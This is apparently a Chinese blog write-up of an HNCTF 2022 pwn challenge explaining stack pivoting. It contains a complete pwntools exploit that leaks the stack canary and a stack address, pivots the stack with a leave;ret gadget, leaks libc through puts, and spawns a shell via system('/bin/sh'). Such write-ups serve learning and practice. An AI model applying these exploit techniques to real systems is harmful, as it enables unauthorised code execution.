栈迁移的利用的过程不是很复杂,原理方面是比较麻烦:
栈迁移原理介绍与应用 - Max1z - 博客园 (cnblogs.com)
这里简述一下栈迁移的利用过程:
我们先来看一下这道题的程序保护情况:
开了canary,接着看代码逻辑
这里的printf("Hello, %s\n", buf);可以发现是可以泄露栈上的内容然后进入vuln函数看看
这里buf偏移是0x110,经典栈迁移了,先放上exp:
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64',log_level='debug') io=remote("node5.anna.nssctf.cn",28065) #io=process("./pwn") elf=ELF("./pwn") #libc=ELF("./libc-2.27.so") main_addr=0x4010D0 leave_ret=0x401213 rdi=0x401343 payload=b'a'*0x29 io.recvuntil(b"Name:\n") io.send(payload) io.recvuntil(b'a'*0x29) canary=u64(io.recv(7).rjust(8,b'\x00')) print(hex(canary)) get_stack_addr=b'a'*0x108+p64(canary)+b'a'*0x8+p64(main_addr)#在vuln函数这边控制回到main函数 io.send(get_stack_addr) payload4=b'a'*0x48 io.recvuntil(b"Name:\n") io.send(payload4) io.recvuntil(b'a'*0x48) stack_addr=u64(io.recv(6).ljust(8,b'\x00')) print(hex(stack_addr)) new_addr=stack_addr-0x268 #通过泄露的栈地址定位到我们输入字符串的位置#开始构造新栈,泄露libc puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] vuln_addr=elf.symbols['vuln'] payload2=b'a'*0x8 payload2+=p64(rdi) payload2+=p64(puts_got) payload2+=p64(puts_plt) payload2+=p64(vuln_addr) payload2=payload2.ljust(0x108,b'\x00') payload2+=p64(canary) payload2+=p64(new_addr) payload2+=p64(leave_ret) io.send(payload2) puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) #获取到puts函数的地址 print("puts_addr-->"+hex(puts_addr)) libc=LibcSearcher("puts",puts_addr) base=puts_addr-libc.dump("puts") system_addr=base+libc.dump("system") #base=puts_addr-libc.sys['puts'] #system_addr=base+libc.sys['system']
payload3=b'a'*0x8 payload3+=p64(rdi) payload3+=p64(new_addr+0x20) payload3+=p64(system_addr) payload3+=b"/bin/sh\x00" payload3=payload3.ljust(0x108,b'\x00') payload3+=p64(canary) payload3+=p64(new_addr) payload3+=p64(leave_ret)
io.send(payload3)
io.interactive() 这里来介绍一下思路,首先栈迁移就是得有能泄露栈地址的地方,上面代码是符合泄露栈地址的条件,然后利用栈地址,可以控制到我们输入字符串的地方,这道题还要绕canary,这边不过多介绍,注意看栈迁移的部分 payload3=b'a'*0x8 payload3+=p64(rdi) payload3+=p64(new_addr+0x20) payload3+=p64(system_addr) payload3+=b"/bin/sh\x00" payload3=payload3.ljust(0x108,b'\x00') payload3+=p64(canary) payload3+=p64(new_addr) payload3+=p64(leave_ret), 题目泄露的栈地址的位置,其实是需要gdb动态调试一下才能确定的 可以发现,main函数的rbp下面是存有栈地址,通过printf函数打印出来,就可以获得栈地址,然后上面脚本一般都是这样,执行后代码会从p64(rdi)开始执行,上面的b'a'*8只是为了满足条件,脚本的最后一行基本意思固定的,找到leave_ret的gadget就行 标签:puts,p64,HNCTF,--,io,payload2,payload3,2022,addr From: https://www.cnblogs.com/GGbomb/p/17835677.html